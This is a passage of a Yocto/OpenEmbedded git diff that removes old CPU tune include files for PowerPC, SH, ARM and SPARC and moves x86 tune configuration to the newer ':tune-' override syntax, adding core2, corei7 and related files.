-PACKAGE_EXTRA_ARCHS_tune-ppc64p7 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64p7"
-
-# glibc configure options to get power7 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'power7', '--with-cpu=power7', '', d)}"
-
-# QEMU usermode fails with invalid instruction error
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'power7', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppc476.inc b/meta/conf/machine/include/tune-ppc476.inc
deleted file mode 100644
index 31eecc435c..0000000000
--- a/meta/conf/machine/include/tune-ppc476.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "ppc476"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppc476] = "Enable ppc476 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', ' -mcpu=476', '', d)}"
-
-AVAILTUNES += "ppc476"
-TUNE_FEATURES_tune-ppc476 = "m32 fpu-hard ppc476 bigendian"
-TUNE_PKGARCH_tune-ppc476 = "ppc476"
-PACKAGE_EXTRA_ARCHS_tune-ppc476 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppc476"
-
-# glibc configure options to get 476 specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc476', '-with-cpu=476', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppc603e.inc b/meta/conf/machine/include/tune-ppc603e.inc
deleted file mode 100644
index b110f13870..0000000000
--- a/meta/conf/machine/include/tune-ppc603e.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "ppc603e"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppc603e] = "Enable ppc603e specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', ' -mcpu=603e', '', d)}"
-
-AVAILTUNES += "ppc603e"
-TUNE_FEATURES_tune-ppc603e = "m32 fpu-hard ppc603e bigendian"
-TUNE_PKGARCH_tune-ppc603e = "ppc603e"
-PACKAGE_EXTRA_ARCHS_tune-ppc603e = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppc603e"
-
-# glibc configure options to get 603e specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc603e', '-with-cpu=603e', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppc7400.inc b/meta/conf/machine/include/tune-ppc7400.inc
deleted file mode 100644
index 92d902994b..0000000000
--- a/meta/conf/machine/include/tune-ppc7400.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "ppc7400"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppc7400] = "Enable ppc7400 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', ' -mcpu=7400 -mno-spe', '', d)}"
-
-AVAILTUNES += "ppc7400"
-TUNE_FEATURES_tune-ppc7400 = "m32 fpu-hard ppc7400 altivec bigendian"
-TUNE_PKGARCH_tune-ppc7400 = "ppc7400"
-PACKAGE_EXTRA_ARCHS_tune-ppc7400 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppc7400"
-
-# glibc configure options to get 7400 specific library (for sqrt)
-#GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppc7400', '--with-cpu=power4', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppce300c2.inc b/meta/conf/machine/include/tune-ppce300c2.inc
deleted file mode 100644
index 6adeb4bdec..0000000000
--- a/meta/conf/machine/include/tune-ppce300c2.inc
+++ /dev/null
@@ -1,11 +0,0 @@
-DEFAULTTUNE ?= "ppce300c2"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-TUNEVALID[ppce300c2] = "Enable ppce300c2 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c2', ' -mcpu=e300c2', '', d)}"
-
-AVAILTUNES += "ppce300c2"
-TUNE_FEATURES_tune-ppce300c2 = "m32 fpu-soft ppce300c2 bigendian"
-TUNE_PKGARCH_tune-ppce300c2 = "ppce300c2"
-PACKAGE_EXTRA_ARCHS_tune-ppce300c2 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc-nf} ppce300c2"
diff --git a/meta/conf/machine/include/tune-ppce300c3.inc b/meta/conf/machine/include/tune-ppce300c3.inc
deleted file mode 100644
index a3d836c50c..0000000000
--- a/meta/conf/machine/include/tune-ppce300c3.inc
+++ /dev/null
@@ -1,23 +0,0 @@
-DEFAULTTUNE ?= "ppce300c3"
-
-require conf/machine/include/powerpc/arch-powerpc.inc
-
-AVAILTUNES += "ppce300c3 ppce300c3-nf"
-
-# hard-float
-TUNEVALID[ppce300c3] = "Enable ppce300c3 specific processor optimizations"
-TUNE_FEATURES_tune-ppce300c3 = "${TUNE_FEATURES_tune-powerpc} ppce300c3"
-TUNE_PKGARCH_tune-ppce300c3 = "ppce300c3"
-PACKAGE_EXTRA_ARCHS_tune-ppce300c3 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce300c3"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', ' -mcpu=e300c3', '', d)}"
-
-# glibc config options to make use of e300c3 (603e) specific sqrt/sqrtf routines
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3', '--with-cpu=e300c3', '', d)}"
-
-# soft-float
-TUNEVALID[ppce300c3-nf] = "Enable ppce300c3 specific processor optimizations (no fpu)"
-TUNE_FEATURES_tune-ppce300c3-nf = "${TUNE_FEATURES_tune-powerpc-nf} ppce300c3-nf"
-TUNE_PKGARCH_tune-ppce300c3-nf = "ppce300c3-nf"
-PACKAGE_EXTRA_ARCHS_tune-ppce300c3-nf = "${PACKAGE_EXTRA_ARCHS_tune-powerpc-nf} ppce300c3-nf"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ppce300c3-nf', ' -mcpu=e300c3', '', d)}"
-
diff --git a/meta/conf/machine/include/tune-ppce5500.inc b/meta/conf/machine/include/tune-ppce5500.inc
deleted file mode 100644
index acc6a50fca..0000000000
--- a/meta/conf/machine/include/tune-ppce5500.inc
+++ /dev/null
@@ -1,23 +0,0 @@
-DEFAULTTUNE ?= "ppce5500"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[e5500] = "Enable Freescale e5500 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' -mcpu=e5500', '', d)}"
-
-AVAILTUNES += "ppce5500 ppc64e5500"
-TUNE_FEATURES_tune-ppce5500 = "m32 fpu-hard e5500 bigendian"
-BASE_LIB_tune-ppce5500 = "lib"
-TUNE_PKGARCH_tune-ppce5500 = "ppce5500"
-PACKAGE_EXTRA_ARCHS_tune-ppce5500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce5500"
-
-TUNE_FEATURES_tune-ppc64e5500 = "m64 fpu-hard e5500 bigendian"
-BASE_LIB_tune-ppc64e5500 = "lib64"
-TUNE_PKGARCH_tune-ppc64e5500 = "ppc64e5500"
-PACKAGE_EXTRA_ARCHS_tune-ppc64e5500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64e5500"
-
-# glibc configure options to get e5500 specific library (for sqrt)
-GLIBC_EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'e5500', '--with-cpu=e5500', '', d)}"
-
-# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'e5500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-ppce6500.inc b/meta/conf/machine/include/tune-ppce6500.inc
deleted file mode 100644
index d12d218d06..0000000000
--- a/meta/conf/machine/include/tune-ppce6500.inc
+++ /dev/null
@@ -1,24 +0,0 @@
-DEFAULTTUNE ?= "ppce6500"
-
-require conf/machine/include/powerpc/arch-powerpc64.inc
-
-TUNEVALID[e6500] = "Enable Freescale e6500 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' -mcpu=e6500', '', d)}"
-
-AVAILTUNES += "ppce6500 ppc64e6500"
-TUNE_FEATURES_tune-ppce6500 = "m32 fpu-hard e6500 altivec bigendian"
-BASE_LIB_tune-ppce6500 = "lib"
-TUNE_PKGARCH_tune-ppce6500 = "ppce6500"
-PACKAGE_EXTRA_ARCHS_tune-ppce6500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc} ppce6500"
-
-TUNE_FEATURES_tune-ppc64e6500 = "m64 fpu-hard e6500 altivec bigendian"
-BASE_LIB_tune-ppc64e6500 = "lib64"
-TUNE_PKGARCH_tune-ppc64e6500 = "ppc64e6500"
-PACKAGE_EXTRA_ARCHS_tune-ppc64e6500 = "${PACKAGE_EXTRA_ARCHS_tune-powerpc64} ppc64e6500"
-
-# glibc configure options to get e6500 specific library
-GLIBC_EXTRA_OECONF_powerpc64 += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
-GLIBC_EXTRA_OECONF_powerpc += "${@bb.utils.contains('TUNE_FEATURES', 'e6500', '--with-cpu=e6500', '', d)}"
-
-# QEMU usermode fails with invalid instruction error (YOCTO: #10304)
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = "${@bb.utils.contains('TUNE_FEATURES', 'e6500', ' qemu-usermode', '', d)}"
diff --git a/meta/conf/machine/include/tune-sh3.inc b/meta/conf/machine/include/tune-sh3.inc
deleted file mode 100644
index 80df9a0b61..0000000000
--- a/meta/conf/machine/include/tune-sh3.inc
+++ /dev/null
@@ -1,17 +0,0 @@
-DEFAULTTUNE ?= "sh3"
-
-require conf/machine/include/sh/arch-sh.inc
-
-TUNEVALID[sh3] = "Enable SH3 optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh3', ' -m3', '', d)}"
-
-AVAILTUNES += "sh3 sh3eb"
-TUNE_FEATURES_tune-sh3 = "sh3"
-TUNE_ARCH_tune-sh3 = "sh3"
-TUNE_PKGARCH_tune-sh3 = "sh3"
-PACKAGE_EXTRA_ARCHS_tune-sh3 = "sh sh3"
-
-TUNE_FEATURES_tune-sh3eb = "sh3 bigendian"
-TUNE_ARCH_tune-sh3eb = "sh3eb"
-TUNE_PKGARCH_tune-sh3eb = "sh3eb"
-PACKAGE_EXTRA_ARCHS_tune-sh3eb = "sheb sh3eb"
diff --git a/meta/conf/machine/include/tune-sh4.inc b/meta/conf/machine/include/tune-sh4.inc
deleted file mode 100644
index 4160c30e1a..0000000000
--- a/meta/conf/machine/include/tune-sh4.inc
+++ /dev/null
@@ -1,34 +0,0 @@
-DEFAULTTUNE ?= "sh4"
-
-# Pull in sh4 for compatibility...
-require conf/machine/include/sh/arch-sh.inc
-
-TUNEVALID[sh4] = "Enable SH4 optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4', ' -m4', '', d)}"
-
-# NOTE: If you want to optimize to sh4a, conf/machine/include/tune-sh4a.inc.
-# But it is not compatible for sh4.
-# The binary optimized by m4a doesn't operate on sh4. It works on sh4a only.
-TUNEVALID[sh4a] = "Enable SH4a optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'sh4a', ' -m4a', '', d)}"
-
-AVAILTUNES += "sh4 sh4eb sh4a sh4aeb"
-TUNE_FEATURES_tune-sh4 = "sh4"
-TUNE_ARCH_tune-sh4 = "sh4"
-TUNE_PKGARCH_tune-sh4 = "sh4"
-PACKAGE_EXTRA_ARCHS_tune-sh4 = "sh sh4"
-
-TUNE_FEATURES_tune-sh4eb = "sh4 bigendian"
-TUNE_ARCH_tune-sh4eb = "sh4eb"
-TUNE_PKGARCH_tune-sh4eb = "sh4eb"
-PACKAGE_EXTRA_ARCHS_tune-sh4eb = "sheb sh4eb"
-
-TUNE_FEATURES_tune-sh4a = "sh4a"
-TUNE_ARCH_tune-sh4a = "sh4"
-TUNE_PKGARCH_tune-sh4a = "sh4a"
-PACKAGE_EXTRA_ARCHS_tune-sh4a = "sh sh4 sh4a"
-
-TUNE_FEATURES_tune-sh4aeb = "sh4a bigendian"
-TUNE_ARCH_tune-sh4aeb = "sh4eb"
-TUNE_PKGARCH_tune-sh4aeb = "sh4aeb"
-PACKAGE_EXTRA_ARCHS_tune-sh4aeb = "sheb sh4eb sh4aeb"
diff --git a/meta/conf/machine/include/tune-strongarm1100.inc b/meta/conf/machine/include/tune-strongarm1100.inc
deleted file mode 100644
index e978e925d2..0000000000
--- a/meta/conf/machine/include/tune-strongarm1100.inc
+++ /dev/null
@@ -1,12 +0,0 @@
-DEFAULTTUNE ?= "armv4"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[strongarm] = "Enable Strongarm 1100 series processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', ' -mcpu=strongarm1100', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', 'armv4:', '' ,d)}"
-
-AVAILTUNES += "strongarm"
-ARMPKGARCH_tune-strongarm = "strongarm"
-TUNE_FEATURES_tune-strongarm = "arm strongarm"
-PACKAGE_EXTRA_ARCHS_tune-strongarm = "${PACKAGE_EXTRA_ARCHS_tune-armv4} strongarm"
diff --git a/meta/conf/machine/include/tune-supersparc.inc b/meta/conf/machine/include/tune-supersparc.inc
deleted file mode 100644
index 0faa361f18..0000000000
--- a/meta/conf/machine/include/tune-supersparc.inc
+++ /dev/null
@@ -1,4 +0,0 @@
-TUNE_ARCH = "sparc"
-
-TUNE_CCARGS = "-mcpu=supersparc"
-TUNE_PKGARCH = "supersparc"
diff --git a/meta/conf/machine/include/tune-thunderx.inc b/meta/conf/machine/include/tune-thunderx.inc
deleted file mode 100644
index aa4d0501d4..0000000000
--- a/meta/conf/machine/include/tune-thunderx.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-DEFAULTTUNE ?= "thunderx"
-AVAILTUNES += "thunderx thunderx_be"
-
-TUNEVALID[thunderx] = "Enable instructions for Cavium ThunderX"
-
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'thunderx', ' -mcpu=thunderx', '',d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-ARMPKGARCH_tune-thunderx ?= "thunderx"
-ARMPKGARCH_tune-thunderx_be ?= "thunderx_be"
-
-TUNE_FEATURES_tune-thunderx = "${TUNE_FEATURES_tune-aarch64} thunderx"
-TUNE_FEATURES_tune-thunderx_be = "${TUNE_FEATURES_tune-thunderx} bigendian"
-BASE_LIB_tune-thunderx = "lib64"
-BASE_LIB_tune-thunderx_be = "lib64"
-
-PACKAGE_EXTRA_ARCHS_tune-thunderx = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} thunderx"
-PACKAGE_EXTRA_ARCHS_tune-thunderx_be = "aarch64_be thunderx_be"
diff --git a/meta/conf/machine/include/tune-xscale.inc b/meta/conf/machine/include/tune-xscale.inc
deleted file mode 100644
index 19d5e13e61..0000000000
--- a/meta/conf/machine/include/tune-xscale.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-DEFAULTTUNE ?= "armv5te"
-
-require conf/machine/include/arm/arch-armv5-dsp.inc
-
-TUNEVALID[xscale] = "Enable PXA255/PXA26x Xscale specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'xscale', ' -mcpu=xscale', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'xscale', 'armv5:', '' ,d)}"
-
-AVAILTUNES += "xscale"
-ARMPKGARCH_tune-xscale = "xscale"
-# mcpu is used so don't use armv5te as we don't want march
-TUNE_FEATURES_tune-xscale = "arm thumb dsp xscale"
-PACKAGE_EXTRA_ARCHS_tune-xscale = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} xscale xscalet xscalee xscalete"
-
-AVAILTUNES += "xscale-be"
-ARMPKGARCH_tune-xscale-be = "xscale"
-# mcpu is used so don't use armv5te as we don't want march
-TUNE_FEATURES_tune-xscale-be = "${TUNE_FEATURES_tune-xscale} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-xscale-be = "${PACKAGE_EXTRA_ARCHS_tune-armv5teb} xscaleb xscaletb xscaleeb xscaleteb"
diff --git a/meta/conf/machine/include/x86/README b/meta/conf/machine/include/x86/README
index 2b6c46c7eb..05aee533a7 100644
--- a/meta/conf/machine/include/x86/README
+++ b/meta/conf/machine/include/x86/README
@@ -14,7 +14,7 @@ X86ARCH64 - This is the 64-bit architecture GNU canonical arch, TUNE_ARCH.
The TUNE_PKGARCH is defined as follows:
-TUNE_PKGARCH = ${TUNE_PKGARCH_tune-${DEFAULTTUNE}}
+TUNE_PKGARCH = ${TUNE_PKGARCH:tune-${DEFAULTTUNE}}
The package architecture for 32-bit targets is historical and generally
set to to match the core compatible processor type, i.e. i386.
diff --git a/meta/conf/machine/include/x86/arch-x86.inc b/meta/conf/machine/include/x86/arch-x86.inc
index 70814b8d4d..28742e794d 100644
--- a/meta/conf/machine/include/x86/arch-x86.inc
+++ b/meta/conf/machine/include/x86/arch-x86.inc
@@ -7,48 +7,48 @@ TARGET_FPU ?= ""
X86ARCH32 ?= "i586"
X86ARCH64 ?= "x86_64"
-TUNE_PKGARCH = "${TUNE_PKGARCH_tune-${DEFAULTTUNE}}"
+TUNE_PKGARCH = "${TUNE_PKGARCH:tune-${DEFAULTTUNE}}"
# ELF32 ABI
TUNEVALID[m32] = "IA32 ELF32 standard ABI"
TUNECONFLICTS[m32] = "m64 mx32"
-TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm32', '${X86ARCH32}', '' ,d)}"
+TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm32', '${X86ARCH32}', '', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'm32', ' -m32', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'm32', 'x86:', '' ,d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'm32', 'x86:', '', d)}"
# x32 ABI
TUNEVALID[mx32] = "IA32e (x86_64) ELF32 standard ABI"
TUNECONFLICTS[mx32] = "m64 m32"
-TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '${X86ARCH64}', '' ,d)}"
-ABIEXTENSION .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'x32', '' ,d)}"
+TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '${X86ARCH64}', '', d)}"
+ABIEXTENSION .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'x32', '', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mx32', ' -mx32', '', d)}"
TUNE_LDARGS += "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '-m elf32_x86_64', '', d)}"
TUNE_ASARGS += "${@bb.utils.contains('TUNE_FEATURES', 'mx32', '-x32', '', d)}"
# user mode qemu doesn't support x32
-MACHINE_FEATURES_BACKFILL_CONSIDERED_append = " ${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'qemu-usermode', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'x86-x32:', '' ,d)}"
+MACHINE_FEATURES_BACKFILL_CONSIDERED:append = " ${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'qemu-usermode', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'mx32', 'x86-x32:', '', d)}"
# ELF64 ABI
TUNEVALID[m64] = "IA32e (x86_64) ELF64 standard ABI"
TUNECONFLICTS[m64] = "m32 mx32"
-TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm64', '${X86ARCH64}', '' ,d)}"
+TUNE_ARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'm64', '${X86ARCH64}', '', d)}"
TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'm64', ' -m64', '', d)}"
# Default Tune configurations
AVAILTUNES += "x86"
-TUNE_FEATURES_tune-x86 = "m32"
-BASE_LIB_tune-x86 = "lib"
-TUNE_PKGARCH_tune-x86 = "x86"
-PACKAGE_EXTRA_ARCHS_tune-x86 = "${TUNE_PKGARCH_tune-x86}"
+TUNE_FEATURES:tune-x86 = "m32"
+BASE_LIB:tune-x86 = "lib"
+TUNE_PKGARCH:tune-x86 = "x86"
+PACKAGE_EXTRA_ARCHS:tune-x86 = "${TUNE_PKGARCH:tune-x86}"
AVAILTUNES += "x86-64"
-TUNE_FEATURES_tune-x86-64 = "m64"
-BASE_LIB_tune-x86-64 = "lib64"
-TUNE_PKGARCH_tune-x86-64 = "x86_64"
-PACKAGE_EXTRA_ARCHS_tune-x86-64 = "${TUNE_PKGARCH_tune-x86-64}"
+TUNE_FEATURES:tune-x86-64 = "m64"
+BASE_LIB:tune-x86-64 = "lib64"
+TUNE_PKGARCH:tune-x86-64 = "x86_64"
+PACKAGE_EXTRA_ARCHS:tune-x86-64 = "${TUNE_PKGARCH:tune-x86-64}"
AVAILTUNES += "x86-64-x32"
-TUNE_FEATURES_tune-x86-64-x32 = "mx32"
-BASE_LIB_tune-x86-64-x32 = "libx32"
-TUNE_PKGARCH_tune-x86-64-x32 = "x86_64_x32"
-PACKAGE_EXTRA_ARCHS_tune-x86-64-x32 = "${TUNE_PKGARCH_tune-x86-64-x32}"
+TUNE_FEATURES:tune-x86-64-x32 = "mx32"
+BASE_LIB:tune-x86-64-x32 = "libx32"
+TUNE_PKGARCH:tune-x86-64-x32 = "x86_64_x32"
+PACKAGE_EXTRA_ARCHS:tune-x86-64-x32 = "${TUNE_PKGARCH:tune-x86-64-x32}"
diff --git a/meta/conf/machine/include/x86/qemuboot-x86.inc b/meta/conf/machine/include/x86/qemuboot-x86.inc
new file mode 100644
index 0000000000..b7b6428e44
--- /dev/null
+++ b/meta/conf/machine/include/x86/qemuboot-x86.inc
@@ -0,0 +1,14 @@
+# For runqemu
+IMAGE_CLASSES += "qemuboot"
+QB_SMP = "-smp 4"
+QB_CPU:x86 = "-cpu IvyBridge -machine q35"
+QB_CPU_KVM:x86 = "-cpu IvyBridge -machine q35"
+
+QB_CPU:x86-64 = "-cpu IvyBridge -machine q35"
+QB_CPU_KVM:x86-64 = "-cpu IvyBridge -machine q35"
+
+QB_AUDIO_DRV = "alsa"
+QB_AUDIO_OPT = "-device AC97"
+QB_KERNEL_CMDLINE_APPEND = "oprofile.timer=1 tsc=reliable no_timer_check rcupdate.rcu_expedited=1"
+QB_OPT_APPEND = "-usb -device usb-tablet"
+
diff --git a/meta/conf/machine/include/x86/tune-atom.inc b/meta/conf/machine/include/x86/tune-atom.inc
new file mode 100644
index 0000000000..6b84fffc3f
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-atom.inc
@@ -0,0 +1,2 @@
+# Atom tunings are the same as core2 for now...
+require conf/machine/include/x86/tune-core2.inc
diff --git a/meta/conf/machine/include/x86/tune-c3.inc b/meta/conf/machine/include/x86/tune-c3.inc
new file mode 100644
index 0000000000..afae82541d
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-c3.inc
@@ -0,0 +1,12 @@
+require conf/machine/include/x86/arch-x86.inc
+
+TUNEVALID[c3] = "VIA Cyrix III or VIA C3 specific optimizations"
+TUNECONFLICTS[c3] = "m64 mx32"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'c3', ' -march=c3 -mtune=c3', '', d)}"
+
+AVAILTUNES += "c3"
+TUNE_FEATURES:tune-c3 = "${TUNE_FEATURES:tune-x86} c3"
+BASE_LIBS:tune-c3 = "${BASE_LIB:tune-x86}"
+# The following should likely be something other then i586...
+TUNE_PKGARCH:tune-c3 = "i586"
+PACKAGE_EXTRA_ARCHS:tune-c3 = "${PACKAGE_EXTRA_ARCHS:tune-x86} i386 i486 i586"
diff --git a/meta/conf/machine/include/x86/tune-core2.inc b/meta/conf/machine/include/x86/tune-core2.inc
new file mode 100644
index 0000000000..97b7c1b188
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-core2.inc
@@ -0,0 +1,38 @@
+# Settings for the GCC(1) cpu-type "core2":
+#
+# Intel Core2 CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3 and SSSE3
+# instruction set support.
+#
+# This tune is recommended for the Intel Core 2 CPU family, including Conroe,
+# Merom and beyond, as well as the first Atom CPUs, Diamondville, and beyond.
+#
+DEFAULTTUNE ?= "core2-32"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-i686.inc
+
+# Extra tune features
+TUNEVALID[core2] = "Enable core2 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'core2', ' -march=core2 -mtune=core2 -msse3 -mfpmath=sse', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "core2-32"
+TUNE_FEATURES:tune-core2-32 = "${TUNE_FEATURES:tune-x86} core2"
+BASE_LIB:tune-core2-32 = "lib"
+TUNE_PKGARCH:tune-core2-32 = "core2-32"
+PACKAGE_EXTRA_ARCHS:tune-core2-32 = "${PACKAGE_EXTRA_ARCHS:tune-i686} core2-32"
+QEMU_EXTRAOPTIONS_core2-32 = " -cpu n270"
+
+AVAILTUNES += "core2-64"
+TUNE_FEATURES:tune-core2-64 = "${TUNE_FEATURES:tune-x86-64} core2"
+BASE_LIB:tune-core2-64 = "lib64"
+TUNE_PKGARCH:tune-core2-64 = "core2-64"
+PACKAGE_EXTRA_ARCHS:tune-core2-64 = "${PACKAGE_EXTRA_ARCHS:tune-x86-64} core2-64"
+QEMU_EXTRAOPTIONS_core2-64 = " -cpu core2duo"
+
+AVAILTUNES += "core2-64-x32"
+TUNE_FEATURES:tune-core2-64-x32 = "${TUNE_FEATURES:tune-x86-64-x32} core2"
+BASE_LIB:tune-core2-64-x32 = "libx32"
+TUNE_PKGARCH:tune-core2-64-x32 = "core2-64-x32"
+PACKAGE_EXTRA_ARCHS:tune-core2-64-x32 = "${PACKAGE_EXTRA_ARCHS:tune-x86-64-x32} core2-64-x32"
+QEMU_EXTRAOPTIONS_core2-64-x32 = " -cpu core2duo"
diff --git a/meta/conf/machine/include/x86/tune-corei7.inc b/meta/conf/machine/include/x86/tune-corei7.inc
new file mode 100644
index 0000000000..7798288a74
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-corei7.inc
@@ -0,0 +1,38 @@
+# Settings for the GCC(1) cpu-type "nehalem":
+#
+# Intel Nehalem CPU with 64-bit extensions, MMX, SSE, SSE2, SSE3, SSSE3, SSE4.1,
+# SSE4.2 and POPCNT instruction set support.
+#
+# This tune is recommended for Intel Nehalem and Silvermont (e.g. Bay Trail) CPUs
+# (and beyond).
+#
+DEFAULTTUNE ?= "corei7-64"
+
+# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
+require conf/machine/include/x86/tune-core2.inc
+
+# Extra tune features
+TUNEVALID[corei7] = "Enable corei7 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'corei7', ' -march=nehalem -mtune=generic -mfpmath=sse -msse4.2', '', d)}"
+
+# Extra tune selections
+AVAILTUNES += "corei7-32"
+TUNE_FEATURES:tune-corei7-32 = "${TUNE_FEATURES:tune-x86} corei7"
+BASE_LIB:tune-corei7-32 = "lib"
+TUNE_PKGARCH:tune-corei7-32 = "corei7-32"
+PACKAGE_EXTRA_ARCHS:tune-corei7-32 = "${PACKAGE_EXTRA_ARCHS:tune-core2-32} corei7-32"
+QEMU_EXTRAOPTIONS_corei7-32 = " -cpu Nehalem,check=false"
+
+AVAILTUNES += "corei7-64"
+TUNE_FEATURES:tune-corei7-64 = "${TUNE_FEATURES:tune-x86-64} corei7"
+BASE_LIB:tune-corei7-64 = "lib64"
+TUNE_PKGARCH:tune-corei7-64 = "corei7-64"
+PACKAGE_EXTRA_ARCHS:tune-corei7-64 = "${PACKAGE_EXTRA_ARCHS:tune-core2-64} corei7-64"
+QEMU_EXTRAOPTIONS_corei7-64 = " -cpu Nehalem,check=false"
+
+AVAILTUNES += "corei7-64-x32"
+TUNE_FEATURES:tune-corei7-64-x32 = "${TUNE_FEATURES:tune-x86-64-x32} corei7"
+BASE_LIB:tune-corei7-64-x32 = "libx32"
+TUNE_PKGARCH:tune-corei7-64-x32 = "corei7-64-x32"
+PACKAGE_EXTRA_ARCHS:tune-corei7-64-x32 = "${PACKAGE_EXTRA_ARCHS:tune-core2-64-x32} corei7-64-x32"
+QEMU_EXTRAOPTIONS_corei7-64-x32 = " -cpu Nehalem,check=false"
diff --git a/meta/conf/machine/include/x86/tune-i586-nlp.inc b/meta/conf/machine/include/x86/tune-i586-nlp.inc
new file mode 100644
index 0000000000..ecfbf9f1b2
--- /dev/null
+++ b/meta/conf/machine/include/x86/tune-i586-nlp.inc
@@ -0,0 +1,19 @@
+# Settings for the GCC(1) cpu-type "quark":
+#
+#
+#
